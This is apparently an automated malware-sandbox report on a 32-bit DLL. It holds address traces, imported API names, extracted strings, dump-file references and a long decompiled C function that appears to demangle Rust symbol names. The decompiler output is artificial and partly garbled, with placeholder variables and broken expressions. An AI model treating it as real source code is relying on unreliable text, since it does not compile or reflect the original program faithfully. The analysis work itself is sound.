0x6e55eee3
0x6e55eee8
0x6e55eeec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55e851
0x6e55e857
0x6e55e85d
0x6e55e860
0x6e55e865
0x6e55e86c
0x6e55e86f
0x6e55e876
0x6e55e87d
0x6e55e884
0x6e55e88b
0x6e55e892
0x6e55e899
0x6e55e8a0
0x6e55e8a7
0x6e55e8ae
0x6e55e8b5
0x6e55e8bc
0x6e55e8c3
0x6e55e8ca
0x6e55e8d1
0x6e55e8d8
0x6e55e8df
0x6e55e8e0
0x6e55e8e2
0x6e55e8eb
0x6e55e8f2
0x6e55e8f5
0x6e55e8fd
0x6e55e900
0x6e55e903
0x6e55e906
0x6e55e909
0x6e55e920
0x6e55e920
0x6e55e923
0x6e55e929
0x6e55e92c
0x6e55e92f
0x6e55e92f
0x6e55e932
0x00000000
0x6e55e932
0x6e55e910
0x6e55e910
0x6e55e912
0x6e55e935
0x6e55e942
0x6e55e945
0x6e55e94b
0x6e55e9b0
0x6e55e9b3
0x6e55e94d
0x6e55e950
0x6e55e952
0x6e55e957
0x6e55e95d
0x6e55e95f
0x6e55e962
0x6e55e965
0x6e55e967
0x6e55e9b7
0x6e55e969
0x6e55e969
0x6e55e96f
0x6e55e97a
0x6e55e980
0x6e55e9c2
0x6e55e9c2
0x6e55e9c5
0x6e55e982
0x6e55e999
0x6e55e99b
0x6e55e99b
0x6e55e980
0x6e55e967
0x6e55e9d0
0x6e55e9d0
0x6e55e9d3
0x6e55e9db
0x6e55e9e0
0x6e55e9e3
0x6e55e9e6
0x6e55e9ec
0x6e55e9ee
0x6e55e9f3
0x6e55e9f9
0x6e55e9fb
0x6e55ea01
0x6e55ea06
0x6e55ea06
0x6e55e9f9
0x6e55ea0b
0x6e55ea0b
0x6e55ea0d
0x6e55ea13
0x6e55ea19
0x6e55ea1c
0x6e55ea27
0x6e55ea2c
0x6e55ea2f
0x6e55ea35
0x6e55ea38
0x6e55ea3b
0x6e55ea40
0x6e55ea43
0x6e55ea46
0x6e55ea49
0x6e55ea4c
0x6e55ea4f
0x00000000
0x6e55ea55
0x00000000
0x6e55ea55
0x6e55ea4f
0x6e55ea0d
0x6e55ed05
0x6e55ed0c
0x6e55ef86
0x6e55ef9a
0x00000000
0x6e55ed12
0x6e55ed12
0x6e55ed18
0x6e55ed1b
0x6e55ed22
0x6e55ed29
0x6e55ed2d
0x6e55ed34
0x6e55ed36
0x6e55ed58
0x6e55ed58
0x6e55ed5d
0x6e55ed60
0x6e55ed67
0x6e55ed70
0x6e55ed72
0x6e55ed75
0x6e55ee5b
0x6e55ee5b
0x6e55ed7b
0x6e55ed7b
0x6e55ed7e
0x6e55ed81
0x6e55ed81
0x6e55ed83
0x6e55ed90
0x6e55ed90
0x6e55ed92
0x6e55ed93
0x6e55ed93
0x6e55ed9a
0x6e55eda4
0x6e55eda4
0x6e55ee63
0x6e55ee6d
0x6e55ee73
0x6e55ee7c
0x6e55ee7f
0x6e55ee82
0x6e55ee85
0x6e55ee88
0x6e55ee8b
0x6e55ee97
0x00000000
0x6e55ed38
0x6e55ed43
0x6e55ed49
0x6e55ed4b
0x6e55f011
0x6e55f02a
0x00000000
0x6e55ed51
0x6e55ed51
0x6e55ed53
0x00000000
0x6e55ed53
0x6e55ed4b
0x6e55ed36
0x6e55ed0c
0x6e55e7fb
0x6e55e806
0x6e55e80c
0x6e55e80e
0x6e55efcb
0x6e55efe4
0x6e55f055
0x6e55f055
0x6e55f057
0x6e55f060
0x6e55f07c
0x6e55e814
0x6e55e814
0x6e55e816
0x00000000
0x6e55e816
0x6e55e80e
0x6e55e7f9
0x6e55e79f
0x6e55e7a3
0x6e55eef2
0x6e55eef2
0x6e55eef6
0x6e55eefb
0x6e55eefe
0x6e55ef03
0x6e55ef09
0x6e55ef13
0x6e55ef1d
0x6e55ef27
0x6e55ef43
0x6e55ef45
0x6e55ef46
0x6e55ef52
0x6e55ef54
0x6e55ef57
0x6e55ef57
0x6e55ef57
0x6e55ef57
0x6e55eefe
0x6e55ef63
0x6e55ef65
0x6e55ef68
0x6e55ef6b
0x6e55ef6b
0x6e55ef6b
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55e7a3
0x6e55e7a9
0x6e55e7a9
0x6e55e7a9
0x6e55ef6e
0x6e55ef74
0x6e55ef82
0x6e55ef82

APIs

GetProcAddress.KERNEL32(SymFromAddrW), ref: 6E55E806
GetCurrentProcess.KERNEL32 ref: 6E55E81B

Strings

SymGetLineFromAddrW64, xrefs: 6E55ED38
SymFromInlineContextW, xrefs: 6E55EA8E
SymGetLineFromInlineContextW, xrefs: 6E55EDE1
called `Option::unwrap()` on a `None` value, xrefs: 6E55EFD5, 6E55EFF8, 6E55F01B, 6E55F03E
SymFromAddrW, xrefs: 6E55E7FB

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AddressCurrentProcProcess
String ID: SymFromAddrW$SymFromInlineContextW$SymGetLineFromAddrW64$SymGetLineFromInlineContextW$called `Option::unwrap()` on a `None` value
API String ID: 3217270580-808744031
Opcode ID: c3811fe4a08edcd9f0b154ac85f675710eca41c52788672b7d9f00ab33f59930
Instruction ID: 03febaab832f16e9754321226f69740fa8c871a8845368015b95c5c3855707bc
Opcode Fuzzy Hash: c3811fe4a08edcd9f0b154ac85f675710eca41c52788672b7d9f00ab33f59930
Instruction Fuzzy Hash: CC423570904B408FE725CF69C890BE2B7F5BF89314F10492ED59A87B50EB75A886CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6E55A6D0, Relevance: 15.7, Strings: 11, Instructions: 1959
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6E55A6D0(void* __ebx, signed int* __ecx, signed int __edx, signed int __edi, void* __esi, void* __eflags, signed int _a4, intOrPtr _a20, intOrPtr _a24) {
				char _v2;
				signed char _v3;
				void* _v16;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v68;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				signed int* _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v192;
				char _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				intOrPtr _v220;
				signed int _v224;
				signed int _v228;
				intOrPtr _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _t546;
				signed int _t551;
				signed int* _t552;
				intOrPtr _t553;
				intOrPtr* _t556;
				intOrPtr _t557;
				signed int _t558;
				signed int _t565;
				signed char _t566;
				void* _t567;
				signed char* _t568;
				signed char* _t570;
				signed int _t572;
				signed int _t574;
				signed char _t575;
				signed int _t577;
				void* _t580;
				signed int _t581;
				signed int _t583;
				signed int _t587;
				void* _t589;
				signed int _t596;
				signed int _t597;
				signed char _t598;
				signed int _t599;
				signed int _t602;
				signed int _t603;
				signed int _t604;
				signed char* _t606;
				signed int _t607;
				signed int _t609;
				signed int _t612;
				char* _t617;
				signed int _t618;
				signed int _t626;
				signed int _t628;
				signed int _t629;
				signed int _t630;
				signed int _t631;
				signed int _t634;
				signed int _t636;
				signed int _t642;
				signed int _t643;
				void* _t645;
				signed int _t646;
				signed int _t647;
				signed int _t651;
				signed int _t652;
				signed char* _t653;
				signed char* _t654;
				signed char* _t656;
				signed int _t657;
				signed int _t659;
				signed int _t661;
				signed int _t662;
				void* _t665;
				signed int _t669;
				signed char* _t670;
				signed int* _t675;
				signed int _t676;
				signed char _t685;
				intOrPtr _t689;
				intOrPtr* _t691;
				signed int _t692;
				signed int _t694;
				signed int _t696;
				signed int _t699;
				signed int _t700;
				signed int _t704;
				signed int _t706;
				signed int _t711;
				signed int _t713;
				signed int _t716;
				signed int _t725;
				signed int _t729;
				intOrPtr _t749;
				signed int _t751;
				intOrPtr _t755;
				signed int _t758;
				signed int _t762;
				signed char _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				signed int _t769;
				signed int _t772;
				signed char* _t775;
				signed int _t776;
				signed int _t779;
				signed int _t780;
				signed char _t781;
				signed char _t783;
				signed int _t784;
				signed int _t785;
				signed char _t786;
				signed char _t787;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t793;
				signed int _t797;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				signed int _t812;
				signed int _t815;
				signed int _t817;
				signed int _t818;
				signed int _t820;
				signed int _t821;
				signed int _t825;
				signed char* _t826;
				signed int _t831;
				signed int _t833;
				signed int _t841;
				void* _t842;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t849;
				signed int _t852;
				signed int _t853;
				signed char* _t859;
				signed int _t860;
				signed int _t863;
				signed int _t866;
				signed int _t867;
				signed char* _t868;
				signed int _t881;
				signed int _t883;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t889;
				signed int _t892;
				signed int _t894;
				signed int _t895;
				void* _t896;
				signed char _t897;
				signed int _t900;
				signed int _t901;
				signed int _t902;
				void* _t904;
				signed int _t905;
				void* _t906;
				signed char _t907;
				intOrPtr _t910;
				signed int _t911;
				void* _t913;
				signed int _t916;
				signed int _t918;
				signed int _t920;
				signed int _t921;
				signed int _t923;
				signed int _t925;
				signed int _t927;
				signed int _t928;
				signed int _t929;
				signed char* _t930;
				signed char _t932;
				signed int _t933;
				signed int _t935;
				signed int _t941;
				signed int _t943;
				signed int _t945;
				signed char _t950;
				signed char _t952;
				signed int _t953;
				signed int _t956;
				signed int _t963;
				signed char* _t964;
				signed char _t967;
				signed int _t968;
				signed int _t970;
				signed int _t971;
				signed int _t973;
				signed int _t981;
				signed int _t982;
				signed int _t983;
				signed int _t984;
				signed int _t985;
				signed int _t988;
				signed int _t989;
				signed int _t991;
				signed int _t994;
				signed int _t995;
				signed int _t996;
				signed int _t997;
				signed int _t998;
				signed int _t1001;
				signed int _t1003;
				signed int _t1004;
				signed char* _t1010;
				signed char* _t1011;
				signed char* _t1012;
				signed int _t1015;
				signed int _t1017;
				signed int _t1019;
				signed int _t1020;
				signed int _t1022;
				signed int _t1025;
				signed int _t1029;
				signed int _t1030;
				signed int _t1032;
				signed int _t1037;
				signed int _t1042;
				signed int _t1044;
				signed int _t1047;
				signed int _t1048;
				signed int _t1050;
				signed int _t1051;
				signed int _t1055;
				signed int _t1058;
				signed int _t1059;
				signed int _t1061;
				signed int _t1065;
				signed int _t1066;
				signed char* _t1069;
				signed int _t1070;
				signed char* _t1076;
				signed char* _t1077;
				signed int _t1085;
				signed int _t1087;
				signed int _t1100;
				signed int _t1103;
				signed int _t1105;
				signed int _t1109;
				signed char* _t1112;
				signed int _t1113;
				signed int _t1114;
				signed int _t1116;
				signed int _t1119;
				signed int _t1121;
				void* _t1124;
				void* _t1127;
				void* _t1142;

				_t998 = __edi;
				_t1100 = _t1121;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_v108 = __ecx;
				_v152 = __edx;
				_push(6);
				_push(".llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy");
				_push(_a4);
				E6E5538C0( &_v104, __edx);
				_t1124 = (_t1121 & 0xfffffff8) - 0x98 + 0xc;
				if(_v104 != 1) {
					_t1055 =  &_v32;
					asm("o16 nop [cs:eax+eax]");
					do {
						E6E558B60( &_v104, _t1055,  &_v104, __edi, _t1055);
						_t546 = _v32;
						__eflags = _t546 - 1;
					} while (_t546 == 1);
					__eflags = _t546;
					if(_t546 != 0) {
						goto L71;
					} else {
						_t998 = _v28;
						goto L39;
					}
				} else {
					_t711 = _v68;
					_t1055 = _v56;
					_t989 = _v52;
					_v164 = _t711;
					_v148 = _t1055;
					_v160 = _v48;
					_t713 = _v44;
					_v144 = _t713;
					if(_t711 == 0xffffffff) {
						_t998 = _v76;
						_t896 = _t998 + _t713 - 1;
						__eflags = _t896 - _t989;
						if(_t896 < _t989) {
							_v156 = _t989;
							_v112 = _v96;
							_v116 = _v92;
							_t716 = _v88;
							__eflags = _t716 - _v144;
							_t792 =  >  ? _t716 : _v144;
							_v124 =  >  ? _t716 : _v144;
							_t793 = _v160;
							_v128 = _t793 + _t716 - 1;
							_t991 = _t716;
							_v160 = _t793 + _t716;
							_t758 = _v156;
							_v164 = _t991;
							_v36 = _v80;
							_v120 = _v144 - 1;
							_v132 = _t991 - 1;
							_v136 = _t991 + _t1055;
							do {
								_t897 =  *((intOrPtr*)(_t1055 + _t896));
								__eflags = _t897 & 0x00000020;
								_t723 =  !=  ? 1 : 0xbadbad << _t897;
								_t1090 =  !=  ? 0 : 1 << _t897;
								_t724 = ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								_t1091 = ( !=  ? 0 : 1 << _t897) & _v112;
								_t1092 = ( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								__eflags = ( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								if((( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116) == 0) {
									_t1050 = _t998 + _v144;
									__eflags = _t1050;
									_t725 = _t1050;
									goto L25;
								} else {
									_t900 = _v124;
									_t1055 = _v160;
									_v140 = _t998;
									asm("o16 nop [cs:eax+eax]");
									while(1) {
										__eflags = _v164 - _t900;
										if(_v164 == _t900) {
											break;
										}
										__eflags = _v164 + _t998 - _t758;
										if(_v164 + _t998 >= _t758) {
											_t916 = _t758;
											_t904 = _v140 + _v164;
											__eflags = _t758 - _t904;
											_t902 =  >  ? _t758 : _t904;
											goto L229;
										} else {
											_t994 =  *_t1055 & 0x000000ff;
											_t1055 = _t1055 + 1;
											_t900 = _t900 - 1;
											__eflags = _t994 -  *((intOrPtr*)(_v136 + _t998));
											_t725 = _t998 + 1;
											_t998 = _t725;
											if(__eflags == 0) {
												continue;
											} else {
												goto L25;
											}
										}
										goto L498;
									}
									_t901 = _v132;
									__eflags = _t901 - _v144;
									if(_t901 >= _v144) {
										__eflags = _v164;
										_t998 = _v140;
										if(__eflags == 0) {
											goto L39;
										} else {
											_t902 = _v132;
											goto L234;
										}
									} else {
										_t1055 = _v128;
										_t1051 = _v164;
										_t902 = _t901 + _v140;
										__eflags = _t902;
										while(1) {
											_t998 = _t1051 - 1;
											__eflags = _t998;
											if(_t998 < 0) {
												break;
											}
											__eflags = _t902 - _t758;
											if(__eflags >= 0) {
												_t916 = _t758;
												_push(0x6e59f710);
												goto L235;
											} else {
												_t729 =  *_t1055 & 0x000000ff;
												_t1055 = _t1055 - 1;
												__eflags = _t729 -  *((intOrPtr*)(_v148 + _t902));
												_t758 = _v156;
												_t902 = _t902 - 1;
												if(__eflags == 0) {
													continue;
												} else {
													_t725 = _v140 + _v36;
													goto L25;
												}
											}
											goto L498;
										}
										_t998 = _v140;
										goto L39;
									}
								}
								goto L498;
								L25:
								_t1055 = _v148;
								_t998 = _t725;
								_t896 = _v120 + _t725;
								__eflags = _t896 - _t758;
							} while (_t896 < _t758);
						}
						goto L71;
					} else {
						_t905 = _v76;
						_t998 = _t905;
						_t906 = _t905 + _t713 - 1;
						if(_t906 >= _t989) {
							L71:
							_t916 = _v152;
							_v160 = _a4;
							goto L72;
						} else {
							_t797 = _v80;
							_v156 = _t989;
							_v140 = _v96;
							_v132 = _t797;
							_v136 = _v88;
							_v128 = _v144 - _t797;
							_v124 =  ~_v136;
							_v112 = _v92;
							_v116 = _v144 - 1;
							do {
								_t907 =  *((intOrPtr*)(_t1055 + _t906));
								_t758 = _t1055;
								_t745 =  !=  ? 1 : 0xbadbad << _t907;
								_t1095 =  !=  ? 0 : 1 << _t907;
								_t746 = ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								_t1096 = ( !=  ? 0 : 1 << _t907) & _v140;
								_t1097 = ( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								_t1137 = ( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								if((( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112) == 0) {
									_t998 = _t998 + _v144;
									__eflags = _t998;
									_v164 = 0;
									goto L9;
								} else {
									_t995 = _t998;
									_t998 = _t998 + _t758;
									_t749 =  >  ? _v136 : _v164;
									_t910 = _t749;
									_v120 = _t749;
									_t1055 =  >  ? _t749 : _v144;
									while(_t1055 != _t910) {
										if(_t995 + _t910 >= _v156) {
											_t913 = _v120 + _t995;
											_t916 = _v156;
											__eflags = _t916 - _t913;
											_t902 =  >  ? _t916 : _t913;
											L229:
											_push(0x6e59f6f0);
											L235:
											E6E579360(_t758, _t902, _t916, _t998, _t1055, __eflags);
											_t1124 = _t1124 + 4;
											asm("ud2");
											L236:
											_t809 = _t916;
											_t917 = _v160;
											_push(0x6e59f148);
											_push(_v160);
											_push(1);
											L242:
											E6E579620(_t809, _t917);
											asm("ud2");
											_push(_t1100);
											_push(_t758);
											_push(_t998);
											_push(_t1055);
											_t1127 = _t1124 + 0xc - 0x50;
											_t918 = _v160;
											_t556 =  *_v164;
											__eflags =  *_t556 - 1;
											if( *_t556 != 1) {
												_v252 =  *((intOrPtr*)(_t556 + 4));
												_t557 =  *((intOrPtr*)(_t556 + 0xc));
												_v244 =  *((intOrPtr*)(_t556 + 8));
												_t812 = 0;
												_v232 = _t557;
												while(1) {
													L246:
													__eflags = _t812 - _t557;
													_v248 = _t812;
													if(_t812 == _t557) {
														break;
													}
													__eflags = _v244;
													if(__eflags == 0) {
														L473:
														E6E5794E0(_t758, "called `Option::unwrap()` on a `None` value", 0x2b, _t998, _t1055, __eflags, 0x6e59efc0);
														_t1127 = _t1127 + 4;
														asm("ud2");
														L474:
														_t920 = 1;
														L475:
														_v224 = _t920;
														_t921 = 0x2b;
														E6E5795A0(_t758, "called `Result::unwrap()` on an `Err` value", 0x2b, __eflags,  &_v224, 0x6e59eef4, 0x6e59eff0);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L476:
														_t815 = _t998;
														_push(0x6e59efd0);
														L477:
														_push(_t921);
														_push(1);
														E6E579620(_t815, _t921);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L478:
														E6E579620(_t815, _v244, 0, _t758, 0x6e59efe0);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L479:
														_t920 = 0;
														goto L475;
													}
													_t998 = _v252;
													_t921 = _v244;
													_t565 = _v248 + 1;
													__eflags = _t565;
													_v228 = _t565;
													_v260 = _t998 + _t921;
													asm("o16 nop [cs:eax+eax]");
													while(1) {
														_t566 =  *_t998 & 0x000000ff;
														_t1058 = _t566 & 0x000000ff;
														__eflags = _t566;
														_v256 = _t566;
														if(_t566 < 0) {
														}
														L250:
														_t860 = _t998;
														_t1015 = _v260;
														_t1105 = 0;
														_t662 = _t921;
														__eflags = _t921 - 1;
														_t758 = _t1015;
														if(_t921 != 1) {
															_t758 = _t860 + 2;
															_t1105 =  *(_t860 + 1) & 0x3f;
															__eflags = _t1105;
														}
														_t1065 = _t1058 & 0x0000001f;
														__eflags = _v256 - 0xdf;
														if(_v256 <= 0xdf) {
															_t1066 = _t1065 << 6;
															goto L260;
														} else {
															__eflags = _t758 - _t1015;
															if(_t758 == _t1015) {
																_t758 = _t1015;
																_t1105 = _t1105 << 6;
																__eflags = _v256 - 0xf0;
																if(_v256 >= 0xf0) {
																	goto L255;
																} else {
																	goto L259;
																}
															} else {
																_t1017 =  *_t758 & 0x000000ff;
																_t758 = _t758 + 1;
																_t1105 = _t1105 << 0x00000006 | _t1017 & 0x0000003f;
																__eflags = _v256 - 0xf0;
																if(_v256 < 0xf0) {
																	L259:
																	_t1066 = _t1065 << 0xc;
																	__eflags = _t1066;
																	L260:
																	_t1058 = _t1066 | _t1105;
																	_t998 = _t860;
																	_t921 = _t662;
																} else {
																	L255:
																	__eflags = _t758 - _v260;
																	if(_t758 == _v260) {
																		_t758 = 0;
																		__eflags = 0;
																	} else {
																		_t758 =  *_t758 & 0x3f;
																	}
																	_t998 = _t860;
																	_t921 = _t662;
																	_t1109 = _t1105 << 0x00000006 | (_t1065 & 0x00000007) << 0x00000012 | _t758;
																	__eflags = _t1109 - 0x110000;
																	_t1055 = _t1109;
																	if(__eflags == 0) {
																		goto L473;
																	}
																	asm("o16 nop [cs:eax+eax]");
																}
															}
														}
														L264:
														_t1055 = _t1058 + 0xffffffd0;
														_t1103 = _t998 + 1;
														__eflags = _t1055 - 0xa;
														if(_t1055 < 0xa) {
															__eflags = _t921 - 2;
															if(__eflags < 0) {
																goto L473;
															}
															__eflags =  *_t1103 - 0xbf;
															if( *_t1103 <= 0xbf) {
																goto L476;
															}
															_t921 = _t921 - 1;
															_t998 = _t1103;
															_t566 =  *_t998 & 0x000000ff;
															_t1058 = _t566 & 0x000000ff;
															__eflags = _t566;
															_v256 = _t566;
															if(_t566 < 0) {
															}
															goto L264;
														}
														_v260 = _t921;
														_t758 = _v244 - _t921;
														__eflags = _t758;
														if(__eflags == 0) {
															goto L479;
														}
														_t815 = _v252;
														if(__eflags < 0) {
															goto L478;
														}
														__eflags =  *((char*)(_t815 + _t758)) - 0xc0;
														if( *((char*)(_t815 + _t758)) < 0xc0) {
															goto L478;
														}
														_t567 =  *_t815;
														_v264 = _t998;
														__eflags = _t567 - 0x2d;
														if(_t567 == 0x2d) {
															_t568 = _v252;
															__eflags = _t758 - 1;
															if(__eflags == 0) {
																goto L474;
															}
														} else {
															__eflags = _t567 - 0x2b;
															if(_t567 != 0x2b) {
																_t568 = _v252;
															} else {
																_t661 = _v252;
																_t758 = _t758 - 1;
																__eflags = _t758;
																if(__eflags == 0) {
																	goto L474;
																}
																_t568 = _t661 + 1;
															}
														}
														_t1059 = 0;
														asm("o16 nop [cs:eax+eax]");
														while(1) {
															__eflags = _t758;
															if(_t758 == 0) {
																break;
															}
															_t998 = ( *_t568 & 0x000000ff) + 0xffffffd0;
															__eflags = _t998 - 9;
															if(__eflags > 0) {
																goto L474;
															}
															_t859 = _t568;
															_t659 = _t1059 * 0xa;
															__eflags = _t659;
															_t920 = 2;
															if(__eflags < 0) {
																goto L475;
															}
															_t758 = _t758 - 1;
															_t568 =  &(_t859[1]);
															_t1059 = _t659 + _t998;
															__eflags = _t1059;
															if(__eflags >= 0) {
																continue;
															} else {
																goto L475;
															}
															goto L498;
														}
														__eflags = _t1059;
														if(_t1059 == 0) {
															_t762 = _v260;
															_v252 = _v264;
															_t570 = _v160;
															__eflags =  *_t570 & 0x00000004;
															if(( *_t570 & 0x00000004) != 0) {
																goto L294;
															} else {
																goto L320;
															}
														} else {
															_t758 = _v260;
															__eflags = _t758 - _t1059;
															if(__eflags <= 0) {
																if(__eflags != 0) {
																	goto L480;
																} else {
																	_t825 = _v264;
																	__eflags = _t758 - _t1059;
																	if(_t758 != _t1059) {
																		goto L481;
																	} else {
																		goto L293;
																	}
																}
															} else {
																_t657 = _v264;
																__eflags =  *((char*)(_t657 + _t1059)) - 0xbf;
																if( *((char*)(_t657 + _t1059)) <= 0xbf) {
																	L480:
																	_t820 = _v264;
																	_t924 = _t758;
																	_push(0x6e59f000);
																	_push(_t758);
																	goto L488;
																} else {
																	_t825 = _v264;
																	__eflags =  *((char*)(_t825 + _t1059)) - 0xbf;
																	if( *((char*)(_t825 + _t1059)) > 0xbf) {
																		L293:
																		_v252 = _t825 + _t1059;
																		_t656 = _v160;
																		__eflags =  *_t656 & 0x00000004;
																		if(( *_t656 & 0x00000004) == 0) {
																			L320:
																			__eflags = _v248;
																			if(_v248 == 0) {
																				L322:
																				__eflags = _t1059 - 2;
																				if(_t1059 < 2) {
																					L324:
																					_t998 = _t1059;
																					goto L325;
																				} else {
																					__eflags = ( *_v264 & 0x0000ffff) - 0x245f;
																					if(( *_v264 & 0x0000ffff) == 0x245f) {
																						__eflags =  *_t1103 - 0xbf;
																						if( *_t1103 <= 0xbf) {
																							_t825 = _v264;
																							_t927 = _t1059;
																							_push(0x6e59f024);
																							goto L484;
																						} else {
																							_t535 = _t1059 - 1; // -1
																							_t998 = _t535;
																							_v264 = _t1103;
																							L325:
																							_t758 = _t762 - _t1059;
																							__eflags = _t758;
																							_t1055 = _v264;
																							_v244 = _t758;
																							while(1) {
																								L326:
																								__eflags = _t998;
																								_v264 = _t1055;
																								if(_t998 == 0) {
																									break;
																								}
																								_t580 =  *_t1055;
																								__eflags = _t580 - 0x24;
																								if(_t580 == 0x24) {
																									__eflags = _t998 - 2;
																									if(_t998 < 2) {
																										L361:
																										_t1055 = _t1055 + 1;
																										_t449 = _t998 - 1; // -1
																										_t581 = _t449;
																										_t924 =  &_v224;
																										_v260 = _t998;
																										_v224 = _t1055;
																										_v220 = _t581;
																										_v216 = 0;
																										_v212 = _t581;
																										_v208 = 0x24;
																										_v204 = 1;
																										_v200 = 0x24;
																										E6E5548F0( &_v196,  &_v224);
																										__eflags = _v196 - 1;
																										if(_v196 != 1) {
																											L245:
																											_t574 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _v264, _v260);
																											_t1127 = _t1127 + 0xc;
																											__eflags = _t574;
																											_t557 = _v232;
																											_t812 = _v228;
																											if(_t574 != 0) {
																												goto L472;
																											} else {
																												goto L246;
																											}
																										} else {
																											_t820 = _v192;
																											__eflags = _t820 - 0xffffffff;
																											if(__eflags == 0) {
																												goto L489;
																											} else {
																												_t924 = _v260;
																												_t589 = _t820 + 1;
																												__eflags = _t924 - 2;
																												if(_t924 < 2) {
																													L365:
																													__eflags = _t589 - _t924;
																													_v256 = _t820;
																													if(__eflags >= 0) {
																														if(__eflags != 0) {
																															goto L482;
																														} else {
																															_t583 = _t820 + 2;
																															__eflags = _t583;
																															if(_t583 == 0) {
																																_v240 = _t924;
																																_v236 = _v264;
																																goto L408;
																															} else {
																																goto L381;
																															}
																														}
																													} else {
																														_t844 = _v264;
																														__eflags =  *((char*)(_t844 + _t589)) - 0xc0;
																														_t845 = _v256;
																														if( *((char*)(_t844 + _t589)) < 0xc0) {
																															goto L482;
																														} else {
																															_t583 = _t845 + 2;
																															L381:
																															_t1001 = _t924 - _t583;
																															__eflags = _t1001;
																															if(__eflags <= 0) {
																																_t820 = _v264;
																																if(__eflags != 0) {
																																	goto L490;
																																} else {
																																	goto L385;
																																}
																															} else {
																																_t820 = _v264;
																																__eflags =  *((char*)(_t820 + _t583)) - 0xbf;
																																if( *((char*)(_t820 + _t583)) > 0xbf) {
																																	L385:
																																	_t841 = _v256;
																																	_v236 = _t583 + _t820;
																																	__eflags = _t841 - 1;
																																	if(_t841 == 1) {
																																		_t842 =  *_t1055;
																																		_t617 = 0x6e59f09c;
																																		__eflags = _t842 - 0x43;
																																		if(_t842 == 0x43) {
																																			goto L466;
																																		} else {
																																			__eflags = _t842 - 0x75;
																																			_v240 = _t1001;
																																			if(_t842 == 0x75) {
																																				goto L410;
																																			} else {
																																				goto L245;
																																			}
																																		}
																																	} else {
																																		__eflags = _t841 - 2;
																																		if(_t841 == 2) {
																																			__eflags = ( *_t1055 & 0x0000ffff) - 0x5053;
																																			if(( *_t1055 & 0x0000ffff) == 0x5053) {
																																				_t617 = "@*&<>()C,";
																																				goto L466;
																																			} else {
																																				__eflags = ( *_t1055 & 0x0000ffff) - 0x5042;
																																				if(( *_t1055 & 0x0000ffff) == 0x5042) {
																																					_t617 = "*&<>()C,";
																																					goto L466;
																																				} else {
																																					__eflags = ( *_t1055 & 0x0000ffff) - 0x4652;
																																					if(( *_t1055 & 0x0000ffff) == 0x4652) {
																																						_t617 =  &M6E59F096;
																																						goto L466;
																																					} else {
																																						__eflags = ( *_t1055 & 0x0000ffff) - 0x544c;
																																						if(( *_t1055 & 0x0000ffff) == 0x544c) {
																																							_t617 = "<>()C,";
																																							goto L466;
																																						} else {
																																							__eflags = ( *_t1055 & 0x0000ffff) - 0x5447;
																																							if(( *_t1055 & 0x0000ffff) == 0x5447) {
																																								_t617 = 0x6e59f098;
																																								goto L466;
																																							} else {
																																								__eflags = ( *_t1055 & 0x0000ffff) - 0x504c;
																																								if(( *_t1055 & 0x0000ffff) == 0x504c) {
																																									_t617 = 0x6e59f099;
																																									goto L466;
																																								} else {
																																									__eflags = ( *_t1055 & 0x0000ffff) - 0x5052;
																																									if(( *_t1055 & 0x0000ffff) == 0x5052) {
																																										_t617 = 0x6e59f09a;
																																										L466:
																																										_t618 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _t617, 1);
																																										_t1127 = _t1127 + 0xc;
																																										__eflags = _t618;
																																										_t603 = _v236;
																																										if(_t618 != 0) {
																																											goto L472;
																																										} else {
																																											goto L467;
																																										}
